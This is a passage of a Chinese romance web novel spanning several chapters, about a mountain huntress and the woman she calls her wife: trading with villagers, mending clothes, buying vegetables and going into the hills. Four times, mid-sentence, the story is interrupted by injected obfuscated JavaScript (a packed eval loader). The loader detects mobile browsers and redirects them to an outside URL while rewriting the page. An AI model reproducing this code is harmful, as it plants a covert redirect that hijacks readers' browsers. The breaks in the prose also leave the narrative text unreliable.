顺着被踩出来的山路,一行人很快就找到了猎户的小院。只是院子里不见夏时那熟悉的身影,眼尖的人隔着篱笆,反倒是看到了一个陌生的女人。 楚棠发现有人上山时,已经有些迟了,本想听夏时的话避去屋中的,却不妨被人叫住了。 “诶,那,那个妹子,夏时在家吗?”领头的村人姓田,生得人高马大,站在篱笆外高出一个头来。他一眼就看到楚棠起身回屋的动作,忙开口将人叫住。 楚棠听他提起夏时的名字,猜到这几人许是山下村子里的,与夏时应当认识。于是脚下略一踟蹰,还是站住了,但她也没去开门,就站在屋门前隔着篱笆与人说话:“她出去了,现在不在家。几位忽然登门,是有什么事吗?” 她语气冷冷清清,与人说话也不热络,但几个汉子却都有些不自在。他们面面相觑一阵,还是刘生年轻胆大,站出来问道:“你是什么人,能做夏时的主吗?” 楚棠垂眸想了下,再抬眼时语气平淡又坚定:“我是她妻子,应是能够做主的吧。” 几个汉子闻言都有些诧异,实在没想到这山上的小猎户不声不响就娶了媳妇,而且还是个这样漂亮的媳妇。已经成了亲的人自然没什么想法,可刘生目光在楚棠身上转了转,多少露出几分失望来——这人生得比村里的姑娘都漂亮,他还以为是夏时家的亲戚,没想到竟是媳妇。 刘生满心的失望,但旁边的村人已经能顺着这话接下去了:“这样啊,那就好,与你说也是一样的。如今村里秋收了,往年夏时都会问村子里买粮,我们来就是问问她今年准备买多少?” 说到粮食,楚棠心里还真没数,不过灶房里的粮食看着确实也不多了。而且既是惯例,她也不好让人白跑一趟,想了想便说道:“如今家里多了我一人,粮食便按照去年的两倍来吧。” 这几天两人也不是白相处的,尤其夏时有心和楚棠拉进关系,因此也将自己的事和她说了不少。楚棠便知道她养父三年前就去世了,这三年夏时都是一个人住在山上的。她俩都是女子,虽说夏时的饭量比她大不少,但买粮的话多一些也无妨。 想到什么,楚棠忙开口问了句:“要付定金吗?” 领头的田二闻言忙摆了摆手:“不用,不用。大家都是老邻居了,再说粮食都还没收完呢,要什么定金?”他说完顿了顿,忽而抬手将拎着的东西举过篱笆:“不过我们来这一趟,还想换些肉来着,夏时不在,妹子你能帮忙换些不?” 田二手里拎着的是个小粮袋,约莫也就能装个十来斤的样子,换成肉的话也就两三斤。跟着他一起上山的同村也和他差不多,都带着一小袋粮食,准备来换个几斤肉吃。 楚棠原本不知柴米,但流放一路也涨了不少见识,她想了想转道就去了灶房。 夏时家虽然是猎户不缺肉吃,但天气热鲜肉也放不了多久,因此她家攒得最多的就是熏肉。楚棠走进灶房仰头一看,就见一条条熏肉挂在房梁上,少说也有二三十条。她观察一阵,取了几条放了最久的熏肉下来,出门对众人道:“家里鲜肉没有了,只有熏肉。” 田二几人没有意义,都表示可以换。 楚棠依旧不放心和这些陌生人接触,拿着熏肉走到篱笆前,也依旧没给外面的人开门:“三斤粮食换一斤肉……”她说到这里略微顿了下,就见几人不自觉露出喜色,于是又接着说道:“不过熏肉实在,我三斤半换一斤,也是你们赚了。” 几个村人闻言果然没有异议,还都与她道谢,楚棠心里这才有了底。双方都没有秤,但掂量过后也能将重量估算个七七八八,很快便隔着篱笆做了交换。 临了田二又冲楚棠交代:“村里秋收再有个四五天就差不多结束了,夏时要买粮的话,过几天就能来买了。具体什么价,咱们还是老规矩,按城里的来。” 村民们卖粮给夏时,也就求个便利,要是比县城便宜的话,他们是宁愿拉去城里卖掉的。 楚棠也没想占这个便宜,当即点头应下了,等人走后再将那些换来的粮食一袋袋的搬回了灶房——也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15230844|165942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幸亏这些农家舍得换肉的粮食不多,一小袋一小袋的,正方便她搬运了。 等粮食全都搬进灶房,堆成一堆,楚棠心里多少有些满足感。旋即她打开粮袋往里一看,原以为是白花花的新米,却不料是还没去壳的稻谷。 三斤半换一斤,还是亏了啊。 *************************************************************** 夏时是两天后回来的,她也没带鹿回来,和上次一样猎到鹿直接就送进了城。 如此跑了一趟,回到家时已是晌午,她在山道上就瞧见自家上空飘起了炊烟。心里忽然就生出了几分欢喜,一路小跑上了山,站在院门口就“砰砰”敲门。 楚棠很快从灶房里走了出来,脸上不知怎的抹了道灰,听见夏时在院外叫门,立刻过去打开了院门。她目光先是往夏时身上扫了一圈,见她身上虽有些狼狈,但神采奕奕也没受伤,便放心了几分:“回来了?猎到鹿了吗?” 夏时点头,顺便从身后提出个油纸包献宝:“猎到了,已经去城里卖了,看我给你带了什么。” 楚棠目光往她提着的油纸包上一扫,一眼就看到了上面的商户盖的戳:“合芳斋,你买了点心回来?” 夏时低头看看自己手里的油纸包,后知后觉意识到:“你识字啊?” 楚棠瞧她一眼,缓缓点了下头。 夏时看楚棠的目光顿时就不同了。不说这云雾山上就她一户人家,山下的石田村里住着二三十户人,可整个村子真正识字的也就村长一个。为此村里人对村长多有崇敬,连带着夏时这个时常与村子打交道的,也都觉得识字是件很了不得的事。 楚棠还是第一次被夏时用这样热烈的目光看着,多少有些不自在,她转身往回走:“识字也没什么大不了的,我可以教你。” 夏时忙跟了上去,闻言有些高兴,又不太自信:“那你别嫌我笨啊。” 楚棠脚步顿了顿,别管夏时笨不笨,她觉得自己挺笨的。两人一前一后走进灶房后,她就指着角落里那几只小粮袋对夏时说:“村里人上山换肉,我拿熏肉跟他们换的,三斤半换了一斤肉,我以为里面是新米来着,结果是还没脱壳的稻谷。” 夏时听出了她话语中的懊恼,没忍住唇角翘了下,不等楚棠看过来忙道:“这有什么,都是常有的事,自己舂一舂也就是了。我往年秋收和他们交换,也没留意那一斤两斤的,咱们家连秤都没有。” 她说得洒脱,也是实话,转过头就去掀灶上的锅盖。 一锅白粥,不够吃饱的,这食谱也该改改了。 10. 第 10 章 在山里待了两天,回来虽然只有白粥吃,但好歹也算是吃上了热饭。 夏时很容易便满足了,不过她也意识到楚棠已经吃了好些天的粥,肠胃也该养得差不多了。于是她抄起袖子割了熏肉,又出去摘了些野菜回来,好歹是给饭桌上添了两个菜。 楚棠欲言又止,总觉得对方奔波两日应该很是疲惫了,回来却还要给自己做菜,多少有些不合适。可看着那些她连认都不认识的野菜,又实在说不出叫夏时放着自己来这样的大话,一时间纠结得眉头都拧了起来,肉眼可见的为难。 夏时看到了,但也误会了,她悻悻说道:“我从前都是凑合着过,家里什么都没有,也忘了给你留菜。下次不会了,等下午我就去村里换些菜回来。”她说着想了想,又兀自道:“还得再抓两只鸡回来下蛋。上次的野鸡蛋你应该吃完了吧?” 楚棠没接这话,而是不赞同的皱起了眉:“别折腾了,还是先歇一歇吧。我虽不知你这两日在山上是怎么过的,但想也不会轻松,回来就先别操心那么多了。” 这话里的关切夏时听得明白,忍不住咧嘴一笑,积攒的疲惫也似一扫而光了。 两人吃过饭,楚棠果然没让夏时下山,而是催促着她去休息。夏时挨不过,用饭后烧的热水简单冲洗了一番,就乖乖回床上睡觉去了。 进屋之前她还一副精力旺盛的模样,哪知回房之后往床上一倒,立刻就睡得沉了。 楚棠拎着夏时换下的衣裳进屋正想说些什么,见她已经睡熟,也就把嘴边的话咽了回去。她想了想转回灶房去端了个木盆出来,干脆接着水缸里的水开始揉搓清洗——洗衣服这件事她也是跟夏时学的,来这里的第二天她简单擦洗过后,换下的衣裳就是夏时给她洗的。 这几日夏时不在家,她自己也烧了热水洗过澡,换下的衣裳都是她自己洗的。所幸秋日天气还热,衣裳不厚,再加上楚棠连门都不怎么出,衣裳自然也不脏。 夏时的衣裳可就不同了,又是泥又是血的,楚棠揉搓了好一阵才勉强洗干净。 院子一侧有架起的竹竿,正是用来晾衣裳的,不洗衣裳的时候夏时也往上面晾吃不完的肉。楚棠端着盆走了过去,力气不够就只随便拧了拧水,接着就把衣裳湿哒哒的晾了上去。而等衣裳一展开,她就看到上面破了好几处,看样子不是磨破的就是被树枝刮破的。 其实楚棠早就发现了,夏时的衣裳多有破损。有的衣裳补过,有的没有,但补过的衣裳针脚也不齐整,那乱七八糟的样子就像是随便缝合在一起,只求看着完整。 楚棠不会别的,但针线多少学过一点,做不了活灵活现的绣活儿,但简单缝补下衣裳却不是难事。唯一的问题是她找不到针线——虽然面对陌生村民时,她能信誓旦旦说自己是夏时的妻子,但实际上她来到这里也不过短短几日。而多年的教养告诉她,不能随便去翻别人的屋子。 她刚才就是想问夏时家中针线在哪里,可惜人睡着了,还是等她睡醒再问吧。 **************************************************** 夏时睡醒已经是下午了,楚棠都已经将晚饭煮上了。 当然也只是煮饭,做菜什么的她还是一点不会,打算等偷到师之后再说。 夏时打着哈欠走出了门,就见楚棠正在院子里喂羊。接着她一扭头,就看见了院子里晾晒的衣裳,正被风吹得飘飘扬扬——再是没拧干的衣裳,被风吹了一下午也干了大半,于是那些破开的地方也越发显眼起来。 这边夏时刚看到自己破破烂烂的衣裳,那边楚棠也已经留意到她睡醒出门。当下拍拍手站起身,回头问道:“我看你衣裳破了,家里有针线吗?” 夏时愣了愣,下意识点头:“有的,之前跟货郎买的。” 她一边说一边转身进屋,很快拿出个线团,上面孤零零插着一根针。 楚棠见了也不说什么,上前接过针线便道:“你还有多少衣裳破了,都拿出来吧,趁着天没黑我帮你补一补。”说完微顿,才又理直气壮道:“我从前没怎么吃过野菜,也不知道该怎么做。饭已经煮上了,晚上的菜还是你来做吧。” 夏时听罢欲言又止,还是楚棠开口催促,她才又回屋去拿破了的衣裳。 结果这一搬,夏时整个衣柜都给搬空了——猎户成日在山林穿梭,衣裳被刮破是常有的事。她的衣裳都不算旧,却偏偏没有一件是好的,哪怕她自己补过,也是歪歪扭扭难看极了。 抱着一堆衣裳出来的夏时,对上楚棠诧异的目光,终于还是红了脸:“那个,是不是有点多?也不用急着补的,我穿衣裳就是有点费,都习惯穿破的了。” 楚棠听罢叹了口气,走过去把衣裳都接了过来。 她是不会做菜所以特地给自己找点事做,现在见夏时这模样,倒觉得这些衣裳是不能不补了——本来也是,夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15230845|165942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时再怎样也是个姑娘家,总不会让她穿得破破烂烂出门。就是那些补得乱七八糟的针线,她也得拆了重来,总不好留在这个家里吃白饭不是? 楚棠想通之后也没觉得麻烦,一件件衣裳检查过后,先留了两件最破的在外面,其他又给放了回去。而夏时见她没有嫌麻烦,唇角不知不觉就扬了起来,眼角眉梢都是笑。 真好,有人给她煮饭缝衣,这个家终于有了家的样子。 当然,晚饭又落在了夏时身上,她也没觉得有什么不对的。除了野菜熏肉这老两样,她还在灶房里找到两个没吃完的野鸡蛋,顺手敲开做了个炒鸡蛋。 等夏时做完饭叫楚棠来吃的时候,她已经补好了一件衣裳,顺手拿给夏时看:“补好了,你看看。” 夏时接过衣裳一看,上面的破口全都已经缝好了,针脚细密又整齐,几乎看不出缝补的痕迹。她当即竖起拇指夸赞道:“真厉害,一点都看不出来,这样就和新的一样了。” 楚棠被夸得也有些不好意思。她流落来此这么多天,总觉得自己什么也不会,除了白吃白喝更是帮不上忙。现在好不容易找到点自己能做的,其实也并没有夏时夸赞得那样厉害。但看着对方一脸诚恳的模样,心里还是忍不住有点高兴。 气氛融洽,夏时顺手牵起了楚棠:“好了,剩下那件衣裳一会儿再说吧,我们先去吃饭。” 楚棠忙小心收起了针,又把衣裳放好,这才跟了过去。 夏时的厨艺算不上好,再加上野菜没经过精心烹饪,本来也算不上美味。一顿饭吃下来楚棠没有嫌弃,夏时自己倒是忍不住偷偷看她,同时也多说了几句。 她说:“野菜偶尔吃吃也就罢了,还是得去山下换点正经的菜蔬。” 她又说:“最近天晴,倒是方便了秋收。等哪天下雨了,山里的菌子一夜就能冒出来,到时候我带你去采菌子吃,也都很鲜美的。” 她说得兴起:“现在没有菌子也没关系,山里的果子也都成熟了。明后天我带你进山看看怎么样,这时候果子正甜,如果不摘的话都得被鸟糟蹋了。” 楚棠从前在家,饭桌上都是食不言的规矩,眼下听着夏时绘声绘色的说起山中事,也不由生出了几分兴趣来。夏时见她感兴趣,于是说得也更多了,眉飞色舞的样子恨不得立刻就拉人去山中看看,饭菜如何反倒是不怎么在意了。 等一顿饭吃完,夏时已经拍板决定:“明天咱们就进山摘果子去。” 11. 第 11 章 夏时说了上山摘果子,但也没忘了自家缺菜这件事。 她原本是打算清早趁楚棠没起,自己赶早下山去跟村人换些菜蔬回来的。她成日里在山上跑,上山下山的速度也很快,跑这一趟耽误不了什么事。 哪知翌日清晨天还没亮,她刚蹑手蹑脚的起身,身边人便被惊动了。 楚棠这几日休息得好,亏空的身体也养得不错,精神自然恢复了不少。再加上昨日夏时说要上山的话她还记得,是以一早察觉到身边人的动静,她便也跟着坐起了身。 天还没亮,屋里也还黑着,夏时便下意识压低了声音:“时候还早呢,你再睡会儿。” 楚棠坐起身后已经有几分清醒了,听清夏时这话里的意思,立刻便反应了过来:“不睡了。你这么早起,是准备做什么?” 两人相处也有几日了,再加上家里就这一间卧房一张床,两人同眠也不是第一次了。因此楚棠很清楚,夏时并没有早起的习惯,今日起得这般早,定是有事要做。 夏时闻言也只好点了灯,解释道:“今日不是说好的要进山吗,我打算趁早先下山一趟。” 楚棠便知道,她这是要去买菜了。说实话成天喝粥她也腻了,家里的熏肉她更谈不上喜欢,因此对于买菜这事她并不打算拦着。不仅不拦,她还想跟着下山看看,于是跟着穿衣起床:“我和你一起去。” 夏时听了有片刻迟疑,犹豫道:“天太早,路怕是不好走。” 楚棠却已经穿好鞋站了起来:“既然天黑路不好走,那就等天亮再走就是。” 夏时后知后觉反应过来,既然楚棠要跟她一起想去,那也就不必在意时间早晚的问题了。 她放宽了心,照常穿衣洗漱,然后趁着时间还早挤了羊奶煮给楚棠喝。至于早饭问题,她俩吃粥都吃腻了,夏时蹭了半碗羊奶垫垫肚子,也就没急着做。 一切收拾停当,天际的鱼肚白才渐渐侵染天空,夜色缓缓被灰蓝的晨光取代。 夏时抬头望了望天,估摸着再有一刻钟天就该大亮了,便下意识看向楚棠。楚棠看了看天又看了看地,隐约已能看清门前的山道,便道:“已经能看清路了,咱们也可以出门了。” 随后关门落锁,两人便出了门,顺着山道往山下去。 云雾山其实是片连绵的山脉,山中多有猛兽,因此哪怕是依山而建的石田村,村里人也只在山脚活动,鲜少有上山的时候。住在云雾山中的只有夏时,因此这条上山的山道也只有她走,一路上杂草丛生不说,有些地方更是陡峭得让人难以踏足。 楚棠曾经是个养尊处优的大小姐,哪里走过这样野的山道,因此出门没走几步,她就被夏时牵着走了。饶是如此,这一路也走得战战兢兢,下山的速度更是慢成了蜗牛爬。 夏时倒是不在意走得慢,可见楚棠走得艰难,还是没忍住开口:“要不然还是我……” 她一句话没说完,楚棠下坡时脚一滑,就直接跌了下来。所幸两人牵着手,夏时反应也快,当即张开手臂将人一抱了个满怀。于是刚说到一半的话也变成了:“怎么样,没事吧?” 楚棠心跳得很快,小脸也是煞白一片,下意识便紧紧抱住了夏时。直到这阵心悸过去,她才找回了自己的声音:“没,我没事。” 话是这样说,但她抱着夏时的手却没有松开,仿佛只有从对方身上才能汲取到几分安全感。 山路很陡,两人下山的路也还没走到半山腰,刚才如果当真一路跌下去,摔到山脚人多半也就没了。因此夏时并不觉得楚棠的反应是太过胆小,她反而搂着楚棠的肩,在她后背轻轻拍抚着,以作安慰。 又过了片刻,楚棠才彻底缓过劲来,终于松开了夏时:“抱歉……” 夏时没等她说下去就打断了:“和我说什么抱歉,你抱我难道不是理所应当的事吗?” 两人从一开始就表明了立场,哪怕没有成婚的仪式,在夏时心里楚棠也已经是她老婆。所以她养着楚棠,照顾楚棠,和楚棠同床共枕,包括刚才那一抱都是理所当然的。 只是她显然弄错了楚棠那声抱歉的意思,后者听了她的话,面上不禁一红:“我不是……算了,继续下山吧。” 夏时听她说话说一半,有心想要问问,可晨光下看着楚棠那张泛红的脸,忽然又不是很想开口了。不过她也没等楚棠继续艰难下山,而是径自绕到她面前蹲下了身:“来,我背你下山吧。” 楚棠见状后退了半步,再看看夏时那并不宽阔的背,更不肯让她背了:“别。下山的路不好走,我要再让你背,万一两个人一起摔下去怎么办?” 夏时却没起身,扭头笑道:“放心吧,摔不着你。”说完怕楚棠不信,又道:“你才几斤几两,我背着头鹿都能下山进城,背你就更不在话下了。” 楚棠一顿,似乎才想起这茬,一头鹿少说百来斤,成年雄鹿的话还会更重。可夏时一个人就能把猎到的鹿从山里背到城里,她这力气比普通男人还要大许多吧? 这一刻,楚棠没想让夏时背,却很想捏捏她的手臂,看是不是真有这样的力量。 只是还不等她伸出手,等得不耐的夏时就已经先一步动手了。她一拉一拽,就直接把人拽到了自己背上,然后不等楚棠反抗挣扎,就直起身一溜小跑向着山下而去。 夏时自己踩出来的路,自然熟悉无比,她不仅能跑还能跳着走。 她背上的楚棠却被她这动如脱兔的样子吓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15230846|165942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坏了,原本还不想让人背的,这时候赶忙伸手环住了夏时的脖子。有那么一瞬间,她手臂力道大得险些将夏时勒得窒息,所幸不等夏时提醒,她自己也反应过来不妥,又略略松缓了力道,却还是环着夏时的脖子不敢松手。 就这样,夏时背着楚棠一路冲下了山道,楚棠可能要磨蹭大半个时辰的路,她不到一刻钟就走完了。等到了山脚将人放下,夏时还没怎样,楚棠双脚落地时却是脚一软险些站不稳。 夏时忙伸手将人扶住了,再一看对方脸色并不好,只能干笑两声试图揭过尴尬。 好在楚棠并没有计较,只嗔她一眼:“下山路险,你小心些,总这样万一摔到了怎么办?” 这话还是关心居多,更何况楚棠生得好,含嗔带怒的那一眼非但不让人反感,反而惹得人心头痒痒的。夏时便没忍住伸手勾住了她的手指,轻轻摇一摇,权当赔罪。 当然,夏时这一牵手就再没松开,直接牵着媳妇踏进了熟悉的村落。 此时天刚大亮,金色的晨光懒洋洋洒满村落,将所见之景全都镀上了一层金光。但两人踏进石田村时,这小小村落却早已经苏醒——此时秋收还没结束,农人们为了避开正午炽烈的阳光,天没亮就出门劳作起来。因此当两人走进村子,一眼就看到了正在田间忙碌的村民。 不过没几个人看见她们,因为大家都忙着埋头割稻,连抬头的时间都没有。还是来田间送饭的一个小丫头率先看到了夏时,当即欢喜的喊道:“换肉的来了!” 这一嗓子倒真叫得不少人抬头,只是村人们看看夏时空空如也的手,便又不感兴趣的继续低头割稻了。 夏时尴尬的摸了摸鼻梁,扭头冲楚棠解释:“我从前总在秋收时拿猎物过来换东西,小丫头见过几回,大概以为我这次也是来换肉的,所以才这样喊。” 楚棠早知道了,可刚听到这称呼时还是偷偷弯了下唇角,等到夏时解释又恢复成一本正经的模样:“嗯,我知道,这没什么的。” 两人说话间,那小丫头也跑了过来,绕着夏时左看右看,最后失望的说道:“你怎么没带肉来啊?” 夏时没好气的在小丫头脑袋上揉了一把:“小丫头,尽馋肉了。”说完没等小丫头气鼓鼓拍开她的手,便又道:“我这次来是有别的事,三花,你家菜园大吗?” 三花人小鬼大,眼珠子一转,就知道夏时问菜园子是要买菜了——这猎户进村子,不是换东西就是买东西,她都已经习惯了——对于农户家来说,不能换肉的话,换几个铜板也是好的。于是三花一拍小胸脯,兴冲冲道:“放心,我家菜园里的菜可多了。” 她说完转身就往家走,边走边回头招呼道:“快来,我带你们去。” 12. 第 12 章 三花家确实有很多菜,刚收获的满满两大筐白萝卜,外加晒了满院子的萝卜干,怎么不算多呢? 夏时失望之余又觉得这都是理所当然的,毕竟萝卜好种个头还大,晒成萝卜干等家里缺粮的时候,嚼上几根也能充饥保命。只是对她来说太单调了些。 三花也是个小人精,一看夏时那模样就知道她不满,于是又说道:“我家只有萝卜,但我知道隔壁狗娃家种了冬瓜,芋头,村尾梨花家还种了白菜。你换了我家的萝卜,我就带你去找。” 小丫头才六七岁,当然做不了家里东西的主,但她家也不是没人。几个人站在院子门口说话的动静,终于惊动了屋里的大人,满头银发的老太太颤颤巍巍走了出来。她眼睛也不太好了,盯着门口的夏时看了好一会儿也没认出她来,只觉得陌生,于是警觉的招呼三花回她身边来。 三花倒是全不怕生,蹦蹦跳跳走到老太太身边,这才扯着嗓子喊道:“阿婆,是山上的猎户,想来我们家买点萝卜。你看卖多少钱一个啊?” 老太太耳背,但小孩子声音尖利,三花只说了一遍她就听到了。 门口的夏时还没开口决定呢,就让这小丫头安排妥帖了。不过她也不反驳,萝卜买回去炖汤是极好的,萝卜干炒肉也很有滋味,她倒真打算买一些。 紧接着楚棠就看到了三花忙前忙后传话卖菜,夏时萝卜越捡越多的全过程。不过最后算钱的时候出乎她的意料,半背篓的萝卜三花阿婆只要了十文钱,再加一大把萝卜干也才二十文,便宜得让楚棠几乎不认识铜板了。至于背篓是问三花家借的,改天下山再给他家送回来。 买完萝卜,楚棠一脸恍惚的被夏时牵走了,之后的冬瓜芋头白菜也都格外的便宜。楚棠这才知道一个农户家想要赚钱是有多不易,至于卖了菜她们吃什么?自然是多挖野菜补上亏空。 夏时背着越来越满的背篓,牵着楚棠,跟着三花很快就在村子里跑了一圈儿。 秋收时节的村子很是冷清,能干活的大人都下地去了,只有一些半大不小的孩子满村子乱玩。 三花最后领着两人去的梨花家,除了买到白菜之外,梨花家还真的种了一颗梨树。这时节金灿灿的梨子挂了满树,楚棠只是往那枝头上多看了一眼,夏时便自觉爬树摘起了梨子。 当然,是给钱的,夏时跳下树给了钱,转身就冲楚棠献宝。 楚棠还没说什么呢,三花和梨花就一起“哇”了一声,盯着二人的目光生生将人看得脸红。 夏时见楚棠红了脸,自己不知怎的也跟着红了脸,旋即冲两个小孩儿挥手:“去去去,小孩子乱叫些什么?” 三花也不怕她,目光滴溜溜往两人身上转了一圈,问道:“猎户,你和她什么关系啊?从前看你都是一副冷脸的样子,刚才你笑了诶,还会讨好人,现在还会脸红。” 童言无忌,真是想说什么就说什么,只有大人才会感到尴尬。 夏时偷偷看了楚棠一眼,见她别过头不看自己,不知怎的就有点失落。她旋即举了举两人牵着的手,一本正经冲面前俩小孩儿道:“小孩子懂什么,这是我老婆,我当然会冲她笑,不然笑给你个小屁孩儿看啊?” 楚棠只是人生地不熟,才对夏时多了两分依赖,忽略了两人一路牵着手的事实。现在看她冲小孩儿显摆起来,莫名感到一股羞窘,手上也动了起来,试图将手从夏时手中抽走。 夏时当然第一时间察觉了,只是往日对她颇为顺从的人,此刻却有几分执拗,将她手扣的紧紧的就是不肯松。等楚棠挣扎得厉害了,她干脆凑过来在她耳边低声道:“别动,我这是宣示身份呢。你要是再挣扎,我现在就抱着你走出村子,你信不信?” 楚棠耳根一下子就红透了,虽然夏时抱她也不是第一回了,可一会儿大庭广众的,她可真不想让人抱着出村。于是气恼的瞪她一眼,骂了句:“登徒子!” 夏时眨眨眼,一脸茫然,明显有听没有懂:“什么?” 楚棠瞬间气结,暗地里磨了磨牙,觉得是时候把扫盲提上日程了。 *************************************************************** 两人买了满满一背篓的菜,估摸着够吃许多天了,这才告别小丫头三花重新上了山。 因着在小孩儿面前得罪了楚棠,夏时之后一路都在哄人。可惜楚小姐并不好哄,刚到手的大梨子她都不要了,只顾着埋头赶路。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232730|165942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人就这样一个走一个哄的出了村,偶尔有村民直起腰看到,也不觉有什么奇怪——田二他们上山那次回来就说了小猎户娶妻的事,两口子吵了架,哄老婆不是很正常的吗?因此谁也没有留意到,村头刘家地头上的刘生盯着两人背影看了许久,直到他爹踹了他一脚才回神。 下山跑了这一趟,再回到山上已经巳时了。时间还不算晚,尤其山林间草木茂盛,就算正午的阳光也逞不了威,进山也算个好时候。 不过山上山下跑这一趟,夏时不怎么在意,楚棠却是走得脚都累了。 她也不说,趁着夏时洗梨的空挡,偷偷坐在凳子上揉了揉脚踝。只是等夏时把洗好的梨子递给她时,她就更不肯接了,转过身只给了夏时一个背影。 夏时看着看着,不知想到了什么,忽然伸手在楚棠后背上戳了戳。 楚棠身子一颤,前倾些许躲开了,夏时再戳她再躲,直到后者没忍住笑出声,立刻换来楚棠一个瞪眼。 夏时赶忙抬手遮了脸,只是她的手不够大,只遮了下半张脸,一双含笑的眸子仍旧看着楚棠。直到人真的要被惹恼了,她才轻咳一声说道:“刚才你生气的样子,好像炸毛的猫猫啊。” 楚棠闻言脸“唰”的一下就红了,抬起手就要打人。 夏时“噌”的一下起身躲开了,却还要继续撩拨人:“本来就是,现在更像了,喵呜……” 楚棠抬手打人本是装腔作势,这下是真被她惹得生气了,当下也顾不得脚疼就起身追她。夏时身形灵活得不行,哪里能让她追到,两人就在院子里你来我往的兜圈子。 直到楚棠眼看着跑累了,夏时突然一个转身,接住了一个不慎投怀送抱的人。 楚棠还要挣扎,却被夏时连着两条手臂一起抱住了,后者忽然前倾贴到她耳边,温热的气息吐在她耳廓上:“喂,当初说好的,我买你回来是做老婆的,现在你反悔不情愿了吗?” 挣扎的动作蓦地顿住,楚棠还记得当日的狼狈和绝望,也记得夏时的出现犹如一道光照亮了生路。 她并不是背信弃义的人,其实也没有不情愿,只是,只是还没适应这个新身份罢了……她正窘迫着,耳朵上忽然一凉,被一片柔软的东西贴了贴。 13. 第 13 章 楚棠和夏时到底还是一起进山了。 或许是不想打破原定的计划,也或许是不想让夏时发现自己的窘迫,楚棠推开夏时后主动提了这事。而夏时也没有纠缠,只定定看了她一会儿,忽然笑了一声就答应了。 楚棠是第一次进山,而且从她这些时日的表现夏时也看得出来,这人遭难之前恐怕家世不凡,因此也并没有打算带人去得太远。正巧前几日她进山猎鹿发现有几棵柿子树成熟了,树上一片金灿灿的柿子看上去颇为喜人,今日正好可以带楚棠去摘。 当然,对于夏时来说早已走惯的山路,对于楚棠来说依旧难行。杂草丛生道路不平也就罢了,更可怕的是走着走着忽然冒出几只虫来,就能把人吓一跳。 楚棠到底是个习惯了养尊处优的人,虽然每次被吓到都会忍耐下来,最后却还是被夏时发现了。 不过这次怪不得她,因为这次突然从草丛里窜出来的不是什么虫子,而是一条蛇。楚棠看清的那一刻就没忍住惊叫了出来,所幸夏时反应也快,很快就一把掐住了蛇脑袋,把它扔了出去。 那其实是一条无毒的小蛇,换做别的时候被夏时抓到,可能就会顺手带回家煮锅蛇汤喝喝。但这次她看出楚棠害怕了,因此也扔得毫不犹豫,末了还没忘记把吓到的人抱住安抚一番:“好了好了,没事,那条蛇没毒的,而且已经扔掉了,没事的。” 楚棠前不久才被夏时亲了耳朵,这对于她来说多少有些亲近过头了,需要时间消化的她,私心里还在犹豫要不要稍稍疏远对方几天。哪知连一个时辰都没撑到,她就又被人搂进了怀里。 这还不止,夏时抱她是夏时的事,偏她这会儿受了惊吓,却是拽着人衣襟根本不敢松手。 夏时很快也发现了,有点无奈又有点抱歉。她习惯一个人进山了,也习惯了山上的虫蛇猛兽。这次她都没打算带着楚棠去狩猎,只是去摘几个果子而已,自然是没多少警惕的。结果倒好,这还没走多远呢,老婆就被蛇吓到了,也是她准备不周。 又将人抱了会儿,察觉到楚棠紧绷的身体终于渐渐放松下来,夏时却有些恋恋不舍了。因此她假装没发现的又多抱了一会儿,直到怀中柔软的身躯又再次紧绷起来,这才松开了怀抱。 “你在这儿稍等片刻,我马上回来。”夏时松开楚棠,左右四顾一番,然后飞快跑走了。 她说马上也真就是马上,都没跑出楚棠的视线范围,就见她跑去道旁大树上随手砍了两根树枝,又拿着猎刀修修整整,很快拎着两根三尺多长的趁手棍子回来了。回来后她就塞了一根给楚棠:“拿着,一会儿你就跟在我后面,怕有蛇的话就在草丛里敲打几下。” 楚棠拿着棍子,一听就懂:“打草惊蛇?” 